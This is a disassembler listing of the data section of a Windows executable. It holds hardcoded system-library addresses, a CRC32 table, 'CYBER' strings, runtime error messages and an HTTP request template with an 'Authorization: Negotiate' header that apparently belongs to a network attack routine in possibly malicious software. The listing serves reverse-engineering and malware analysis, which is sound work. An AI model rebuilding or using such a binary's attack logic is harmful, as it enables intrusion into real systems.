dword_423038	dd 77E7C931h		; DATA XREF: sub_41EC38+19Dr
dword_42303C	dd 77E77EE1h		; DATA XREF: sub_41EB06+9r
dword_423040	dd 77E67702h		; DATA XREF: sub_41EB06:loc_41EB35r
					; sub_41EB06+E1r
dword_423044	dd 77E7C9E1h		; DATA XREF: sub_41EB06+CEr
dword_423048	dd 77E9C5B1h		; DATA XREF: sub_41EB06+11Fr
dword_42304C	dd 77EB9A84h		; DATA XREF: sub_41E624+138r
dword_423050	dd 77E781F9h		; DATA XREF: sub_41E3D5+42r
					; sub_41E3D5+14Dr ...
dword_423054	dd 77E77405h		; DATA XREF: sub_41E3D5+5Er
					; sub_41E3D5+A7r
dword_423058	dd 77F522F2h		; DATA XREF: sub_41E0F8+21r
dword_42305C	dd 77E6D706h		; DATA XREF: sub_41CB91+215r
					; sub_422371+2Er
dword_423060	dd 77E6C703h		; DATA XREF: sub_41BB27+1Ar
dword_423064	dd 77E75CB5h		; DATA XREF: sub_40111D+DFr
					; sub_401221+7Ar ...
dword_423068	dd 77E77963h		; DATA XREF: sub_40111D+B8r
					; sub_401221+2D8r ...
dword_42306C	dd 77E61BB8h		; DATA XREF: sub_40111D+A7r
					; sub_401221+2C0r ...
dword_423070	dd 77E7A099h		; DATA XREF: sub_40111D+83r
					; sub_401221+DAr ...
dword_423074	dd 77E704FCh		; DATA XREF: sub_40111D+74r
					; sub_401221+C4r ...
dword_423078	dd 77E61BE6h		; DATA XREF: sub_40111D+29r
					; sub_401221+1F1r ...
dword_42307C	dd 77E7AC37h		; DATA XREF: sub_401221+3BBr
					; sub_401AC7+1ADEr ...
dword_423080	dd 77E73628h		; DATA XREF: sub_401221+338r
					; sub_401AC7+6A78r ...
dword_423084	dd 77E706B7h		; DATA XREF: sub_401221+271r
					; sub_41671A+B9r ...
dword_423088	dd 77E80656h		; DATA XREF: sub_401221+264r
dword_42308C	dd 77F5157Dh		; DATA XREF: sub_401221+1D5r
					; sub_401221+3E0r ...
dword_423090	dd 77E6BD13h		; DATA XREF: sub_401221:loc_4013D9r
dword_423094	dd 77E70396h		; DATA XREF: sub_401221+1B2r
					; sub_401221+21Er ...
dword_423098	dd 77E74CABh		; DATA XREF: sub_401221+19Br
					; sub_40E7B9+110r ...
dword_42309C	dd 77E79F93h		; DATA XREF: sub_401221+D3r
					; sub_408CF8+2r ...
dword_4230A0	dd 77E79D5Bh		; DATA XREF: sub_401221+6Br
					; sub_401221+30Er ...
dword_4230A4	dd 77E7C2C4h		; DATA XREF: sub_401221+64r
dword_4230A8	dd 77E7751Ah		; DATA XREF: sub_401221+2Cr
					; sub_401AC7+20B0r ...
dword_4230AC	dd 77E75CEBh		; DATA XREF: sub_401AC7+6CE3r
					; sub_40A33E+2Br ...
dword_4230B0	dd 77E6AD34h		; DATA XREF: sub_401AC7+5FBDr
					; sub_41542E+35r
dword_4230B4	dd 77E71AFEh		; DATA XREF: sub_401AC7+5E98r
dword_4230B8	dd 77E805D8h		; DATA XREF: sub_408CF8+13Ar
					; sub_408CF8:loc_4091ACr ...
dword_4230BC	dd 77E7A5FDh		; DATA XREF: sub_408CF8+11r
					; sub_415679+6Br ...
dword_4230C0	dd 77E65F4Ch		; DATA XREF: nsp0:00409F03r
					; sub_4165F1+34r
dword_4230C4	dd 77E7513Ch		; DATA XREF: nsp0:00409F9Ar
dword_4230C8	dd 77E7C657h		; DATA XREF: nsp0:0040A00Er
					; sub_4155B6+32r ...
dword_4230CC	dd 77E73C49h		; DATA XREF: sub_40A26E+4Ar
					; sub_40A9AA+1ABr ...
dword_4230D0	dd 77F7E300h		; DATA XREF: sub_40B229+13Fr
dword_4230D4	dd 77F7E21Fh		; DATA XREF: sub_40B229+D4r
dword_4230D8	dd 77E7C706h		; DATA XREF: sub_40B43D+77r
dword_4230DC	dd 77F53275h		; DATA XREF: sub_40B43D+6Br
					; sub_40B43D+22Fr
dword_4230E0	dd 77E79D8Ch		; DATA XREF: sub_40C9B7+94r
					; sub_40CAA5+181r ...
dword_4230E4	dd 77E737DEh		; DATA XREF: sub_40CAA5+43Ar
dword_4230E8	dd 77E78B82h		; DATA XREF: sub_40CAA5+1A9r
					; sub_40CAA5+499r ...
dword_4230EC	dd 77E7A837h		; DATA XREF: sub_40CAA5+A7r
					; sub_40E7B9+1C4r ...
dword_4230F0	dd 77E616B4h		; DATA XREF: sub_40D60D+19Br
					; sub_40FDCD+115r ...
dword_4230F4	dd 77E79CE3h		; DATA XREF: sub_40D60D+111r
					; sub_410017+77r ...
dword_4230F8	dd 77E79C90h		; DATA XREF: sub_40D60D+FDr
					; sub_40D60D+10Ar ...
dword_4230FC	dd 77E7727Ah		; DATA XREF: sub_40D60D+74r
					; sub_40FF1E+23r ...
dword_423100	dd 77E64106h		; DATA XREF: sub_40E637+9Fr
					; sub_417368+1B6r
dword_423104	dd 77E64006h		; DATA XREF: sub_40E637+8Br
					; sub_417368+19Fr
dword_423108	dd 77E793EFh		; DATA XREF: sub_40E7B9+1EEr
					; sub_40F0EB+38r
dword_42310C	dd 77E78EAAh		; DATA XREF: sub_40EA69+5E8r
dword_423110	dd 77E794BFh		; DATA XREF: sub_40EA69+26Dr
dword_423114	dd 77E75E67h		; DATA XREF: sub_40EA69+20Dr
					; sub_40EA69+5D7r
dword_423118	dd 77E75D9Eh		; DATA XREF: sub_40EA69+1FCr
dword_42311C	dd 77E78C81h		; DATA XREF: sub_40F0EB+6Cr
					; sub_41E1E3+4Fr
dword_423120	dd 77E76968h		; DATA XREF: sub_40FB45+5Fr
dword_423124	dd 77E74C59h		; DATA XREF: sub_40FDCD+C7r
dword_423128	dd 77EC7C51h		; DATA XREF: sub_4101A2+5Er
dword_42312C	dd 77E802FCh		; DATA XREF: sub_4114BF+18Cr
					; sub_4114BF+2D4r ...
dword_423130	dd 77E6D75Bh		; DATA XREF: sub_4114BF+182r
					; sub_41221C+FFr
dword_423134	dd 77E70F89h		; DATA XREF: sub_413B5E+Dr
					; sub_419581+Dr
dword_423138	dd 77E76A60h		; DATA XREF: sub_415221+2Dr
dword_42313C	dd 77E71B14h		; DATA XREF: sub_4152AB+26r
dword_423140	dd 77E7166Fh		; DATA XREF: sub_4152AB+1Dr
dword_423144	dd 77E75090h		; DATA XREF: sub_4152E6+69r
dword_423148	dd 77E74D76h		; DATA XREF: sub_4152E6+36r
dword_42314C	dd 77E77797h		; DATA XREF: sub_4152E6+25r
dword_423150	dd 77E7011Ah		; DATA XREF: sub_415368+96r
dword_423154	dd 77E73CE2h		; DATA XREF: sub_415368+60r
dword_423158	dd 77E668D9h		; DATA XREF: sub_41542E+15Dr
dword_42315C	dd 77E80618h		; DATA XREF: sub_415679+D4r
dword_423160	dd 77E79924h		; DATA XREF: sub_41E3D5+20Dr
					; sub_41EB06+7Er ...
dword_423164	dd 77E77CCEh		; DATA XREF: sub_415CA4+Fr
					; sub_419B84+54r ...
dword_423168	dd 77E76A2Eh		; DATA XREF: sub_41671A+DEr
dword_42316C	dd 77E7FF65h		; DATA XREF: sub_416B6D+5Ar
dword_423170	dd 77EB7624h		; DATA XREF: sub_416B6D+3Dr
dword_423174	dd 77E76C1Ah		; DATA XREF: sub_417368+1CFr
dword_423178	dd 77F51597h		; DATA XREF: sub_4177C1+27r
					; sub_41A052+2C4r ...
dword_42317C	dd 77F5722Fh		; DATA XREF: sub_4178D8+F0r
					; sub_41A686+28r
dword_423180	dd 77F516F8h		; DATA XREF: sub_4178D8+AFr
					; sub_417A69+2Er ...
dword_423184	dd 77F6183Eh		; DATA XREF: sub_422274r
dword_423188	dd 77E76E3Dh		; DATA XREF: sub_419581+6Cr
					; sub_4202CC+38r
dword_42318C	dd 77E61608h		; DATA XREF: sub_419581+17r
dword_423190	dd 77E6177Ah		; DATA XREF: nsp0:00419D22r
					; sub_41EC38+59r
dword_423194	dd 77E7C938h		; DATA XREF: nsp0:00419CF7r
dword_423198	dd 77E7C486h		; DATA XREF: nsp0:00419CA9r
dword_42319C	dd 77E76E0Bh		; DATA XREF: sub_419FAD+2Fr
dword_4231A0	dd 77E7C726h		; DATA XREF: sub_419FAD+11r
dword_4231A4	dd 77E79E34h		; DATA XREF: sub_41A052+23Fr
dword_4231A8	dd 77E7980Ah		; DATA XREF: sub_41A686+76r
					; sub_41A737+51r
dword_4231AC	dd 77E73196h		; DATA XREF: sub_42026C+Cr
dword_4231B0	dd 77E7849Fh		; DATA XREF: sub_41B98E+48r
					; sub_41BBCD+14r ...
dword_4231B4	dd 77E7A13Fh		; DATA XREF: sub_41BB27+2Fr
		dd 0
dword_4231BC	dd 71B2ACCBh		; DATA XREF: sub_422268r
		dd 0
dword_4231C4	dd 71AB4122h		; DATA XREF: sub_4134F7+D4r
dword_4231C8	dd 71AB1746h		; DATA XREF: sub_41101A+1DEr
dword_4231CC	dd 71AB401Ch		; DATA XREF: sub_41101A+21Br
					; sub_41101A+243r
dword_4231D0	dd 71AB1836h		; DATA XREF: sub_40E0C5+6Er
					; sub_40E142+8Er
dword_4231D4	dd 71AB41DAh		; DATA XREF: sub_40DA9B+4Ar
					; sub_40E0C5+15r
dword_4231D8	dd 71AB3F8Dh		; DATA XREF: sub_40DA9B+5Ar
dword_4231DC	dd 71AB155Ah		; DATA XREF: sub_40DA9B+8Dr
					; sub_412079+70r ...
dword_4231E0	dd 71AB3ECEh		; DATA XREF: sub_40DA9B+B5r
dword_4231E4	dd 71AB5DE2h		; DATA XREF: sub_40DA9B+C9r
dword_4231E8	dd 71AB868Dh		; DATA XREF: sub_40DA9B+171r
dword_4231EC	dd 71AB5A01h		; DATA XREF: sub_4135E0+20r
dword_4231F0	dd 71AB12F8h		; DATA XREF: sub_40CFAA+27r
					; sub_40D0EC+27r ...
dword_4231F4	dd 71AB1746h		; DATA XREF: sub_40CFAA+36r
					; sub_40D0EC+36r ...
dword_4231F8	dd 71AB3E5Dh		; DATA XREF: sub_40CFAA+59r
					; sub_40D0EC+59r ...
dword_4231FC	dd 71AB5690h		; DATA XREF: sub_40CFAA+6Ar
					; sub_40D0EC+6Ar ...
dword_423200	dd 71AB1A6Dh		; DATA XREF: sub_40CFAA+E0r
					; sub_40D0EC+E0r ...
dword_423204	dd 71AB3C22h		; DATA XREF: nsp0:0040C493r
					; sub_40CFAA+45r ...
dword_423208	dd 71AB1AF4h		; DATA XREF: sub_40C0DF+12r
					; sub_40CFAA+C3r ...
dword_42320C	dd 71AB1890h		; DATA XREF: sub_40BF41+4Cr
					; sub_40DA9B+106r
dword_423210	dd 71AB1B7Bh		; DATA XREF: sub_42226Er
dword_423214	dd 71AB157Eh		; DATA XREF: sub_401AC7+2A0Fr
		align 10h
dword_423220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401AC7+2EEFo
					; sub_401AC7+2FD2o ...
		align 4
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401AC7+32F6o
					; sub_401AC7+3332o ...
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40C31F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_423670	dq 1.388888888888889e-2	; DATA XREF: sub_40C131+2Fr
dbl_423678	dq 1.666666666666667e-1	; DATA XREF: sub_40C131+15r
dword_423680	dd 0FFFFFFFFh		; DATA XREF: sub_40C17D+16Fr
					; sub_40C5BBr ...
		align 8
dbl_423688	dq 1.333333333333333	; DATA XREF: sub_40C17D+79r
dword_423690	dd 0			; DATA XREF: sub_40C31F+4Do
					; sub_40C66B+5Bo ...
flt_423694	dd 5.0e-1		; DATA XREF: sub_40CAA5+398r
dbl_423698	dq 9.765625e-4		; DATA XREF: sub_413F23+2BDr
					; sub_413F23+2D8r ...
dbl_4236A0	dq -1.52587890625e-4	; DATA XREF: sub_414BB2+3E5r
dbl_4236A8	dq 3.0517578125e-4	; DATA XREF: sub_414BB2+3C5r
dbl_4236B0	dq -3.0517578125e-4	; DATA XREF: sub_414BB2+342r
					; sub_414BB2+3A7r
dbl_4236B8	dq 1.52587890625e-4	; DATA XREF: sub_414BB2+271r
dbl_4236C0	dq -1.739501953125e-3	; DATA XREF: sub_414BB2+24Br
					; sub_414BB2+2D5r ...
dbl_4236C8	dq 3.11279296875e-3	; DATA XREF: sub_414BB2+E1r
dbl_4236D0	dq 3.0517578125e-5	; DATA XREF: sub_414BB2+AEr
					; sub_414BB2+138r ...
dbl_4236D8	dq 6.103515625e-5	; DATA XREF: sub_414BB2+93r
					; sub_414BB2+308r
dbl_4236E0	dq 2.288818359375e-3	; DATA XREF: sub_414BB2+21r
dbl_4236E8	dq -3.0517578125e-5	; DATA XREF: sub_415759+2Br
flt_4236F0	dd 9.765625e-4		; DATA XREF: sub_416E91+1AEr
flt_4236F4	dd 8.0			; DATA XREF: sub_416E91+1A8r
					; sub_41B184+4Ar
flt_4236F8	dd 0.0			; DATA XREF: sub_416E91+16Fr
flt_4236FC	dd 1.0e-3		; DATA XREF: sub_416E91+166r
dbl_423700	dq 1.0			; DATA XREF: sub_418B79+6Cr
					; sub_418CBF+6Cr ...
dword_423708	dd 0FFFFFFFFh, 419D5Ah,	419D6Eh	; DATA XREF: nsp0:00419C88o
byte_423714	db 6			; DATA XREF: sub_41B184:loc_41B1DBr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: nsp0:off_43AD9Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: nsp0:off_43AD98o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: nsp0:off_43B014o
		align 10h
dbl_423840	dq 0.0			; DATA XREF: sub_41CE44+8Cr
					; sub_41CE44+ACr ...
dbl_423848	dq 4.195835e6		; DATA XREF: sub_41D359+Fr
dbl_423850	dq 3.145727e6		; DATA XREF: sub_41D359+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41D397+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41D397o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41D4BE+93o
		align 4
dword_423888	dd 0FFFFFFFFh, 41DBA9h,	41DBB3h, 0 ; DATA XREF:	sub_41DB42+5o
dword_423898	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41DC71+5o
		dd offset loc_41DD2F
		align 8
		dd offset sub_41DD0D
		dd offset sub_41DD17
dword_4238B0	dd 0FFFFFFFFh, 41DF5Fh,	41DF63h, 0 ; DATA XREF:	sub_41DDA7+5o
dword_4238C0	dd 0FFFFFFFFh, 41DFC1h,	41DFCAh, 0 ; DATA XREF:	sub_41DF6B+5o
dword_4238D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41E04C+5o
		dd offset loc_41E09D
		align 10h
		dd offset loc_41E089
		dd offset loc_41E08D
dword_4238E8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41E0A2+5o
		dd offset loc_41E0F3
		align 8
		dd offset loc_41E0DF
		dd offset loc_41E0E3
dword_423900	dd 2 dup(0)		; DATA XREF: sub_41E3D5+36o
					; sub_41F7CD+39o ...
dword_423908	dd 0FFFFFFFFh, 41E4E5h,	41E4E9h, 0FFFFFFFFh, 41E599h, 41E59Dh
					; DATA XREF: sub_41E3D5+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: nsp0:off_43B1ECo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41EEFD+119o
		align 10h
asc_423BD0	db 0Ah			; DATA XREF: sub_41EEFD+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41EEFD+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41EEFD+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41EEFD+7Do
		align 10h
dword_423C10	dd 0FFFFFFFFh, 41F8C6h,	41F8CAh	; DATA XREF: sub_41F7CD+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4202CC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_420858+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_420858+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_420858+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_42116E:loc_421263o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_42116E+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_42116E+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_42116E+ADo
		align 10h
dword_423CB0	dd 0FFFFFFFFh, 421B66h,	421B6Ah, 0FFFFFFFFh, 421BD5h, 421BD9h
					; DATA XREF: sub_4219AF+5o
		dd 423DD0h
off_423CCC	dd offset loc_422108	; DATA XREF: sub_421F10+4Do
					; sub_422124+Co
		dd offset sub_421FCE
; ---------------------------------------------------------------------------
		jmp	short loc_423CF6
; ---------------------------------------------------------------------------
		dw 42h
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_421F10+1Eo
		dd offset dword_423E08
off_423CEC	dd offset loc_422035	; DATA XREF: sub_421F6A+4Eo
					; sub_421FF8+11o ...
		dd offset sub_421FCE
; ---------------------------------------------------------------------------
		fistp	dword ptr [edi]


loc_423CF6:				; CODE XREF: nsp0:00423CD4j
		inc	edx
		add	[eax+3Eh], bl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
off_423CFC	dd offset loc_4221F0	; DATA XREF: sub_42213C+4Do
					; sub_42220C+Co
		dd offset sub_421FCE
		dd offset sub_4221D3
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_42213C+1Eo
		dd offset dword_423E88
off_423D24	dd offset sub_42227A	; DATA XREF: sub_422296+8o
					; sub_4222D3+8o ...
		dd offset sub_422333
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422333+7o
		align 10h
		dd offset dword_423ED0
off_423D44	dd offset loc_422355	; DATA XREF: sub_422340o
					; nsp0:off_43B918o ...
dword_423D48	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422371+Eo
		dd 3, 19930520h, 2 dup(0)
off_423D68	dd offset off_43B918	; DATA XREF: nsp0:00423DB8o
					; nsp0:00423DECo ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_423D80	dd offset off_43B930	; DATA XREF: nsp0:00423DB4o
					; nsp0:00423DE8o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_423D98	dd offset off_43B950	; DATA XREF: nsp0:00423DB0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423D98
		dd offset off_423D80
		dd offset off_423D68
dword_423DBC	dd 3 dup(0)		; DATA XREF: nsp0:00423DE0o
		dd 3, 423DB0h, 3 dup(0)
		dd offset off_43B950
		dd offset dword_423DBC+4
		align 8
		dd offset off_423D80
		dd offset off_423D68
dword_423DF0	dd 4 dup(0)		; DATA XREF: nsp0:00423E18o
		dd 2, 423DE8h
dword_423E08	dd 3 dup(0)		; DATA XREF: nsp0:00423CE8o
		dd offset off_43B930
		dd offset dword_423DF0+8
		align 10h
off_423E20	dd offset off_43B970	; DATA XREF: nsp0:00423E38o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423E20
		dd offset off_423D80
		dd offset off_423D68
		dd 0
		db    0			; DATA XREF: nsp0:00423E68o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 423E38h, 3 dup(0)
		dd offset off_43B970
		dd offset unk_423E48
		dd offset off_423D68
dword_423E70	dd 4 dup(0)		; DATA XREF: nsp0:00423E98o
		dd 1, 423E6Ch
dword_423E88	dd 3 dup(0)		; DATA XREF: nsp0:00423D20o
		dd offset off_43B918
		dd offset dword_423E70+8
		dd 0
off_423EA0	dd offset off_43B990	; DATA XREF: nsp0:00423EB8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423EA0
dword_423EBC	dd 3 dup(0)		; DATA XREF: nsp0:00423EE0o
		dd 1, 423EB8h
dword_423ED0	dd 3 dup(0)		; DATA XREF: nsp0:00423D40o
		dd offset off_43B990
		dd offset dword_423EBC+4
		align 8
dword_423EE8	dd 19930520h, 2, 423F08h, 5 dup(0) ; DATA XREF:	nsp0:loc_4223CBo
		dd 0FFFFFFFFh, 4223B4h,	0
		dd offset sub_4223AC
dword_423F18	dd 19930520h, 2, 423F38h, 5 dup(0) ; DATA XREF:	nsp0:loc_4223E8o
		dd 0FFFFFFFFh, 4223D8h,	0
		dd offset loc_4223E0
dword_423F48	dd 19930520h, 2, 423F68h, 1, 423F78h, 3	dup(0) ; DATA XREF: nsp0:loc_4223F4o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 423F90h, 4	dup(0)
		dd offset loc_40C8D5
		dd 0
		dd offset off_43B918
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	4222D3h, 2 dup(0)
		dd offset off_43B930
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422051h, 2 dup(0)
		dd offset off_43B950
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422124h, 0
dword_424000	dd 3, 423FE0h, 423FC0h,	423FA0h	; DATA XREF: nsp0:0042401Co
dword_424010	dd 0			; DATA XREF: sub_421F10+47o
					; nsp0:004220FDo
		dd offset sub_4220AE
		dd 0
		dd offset dword_424000
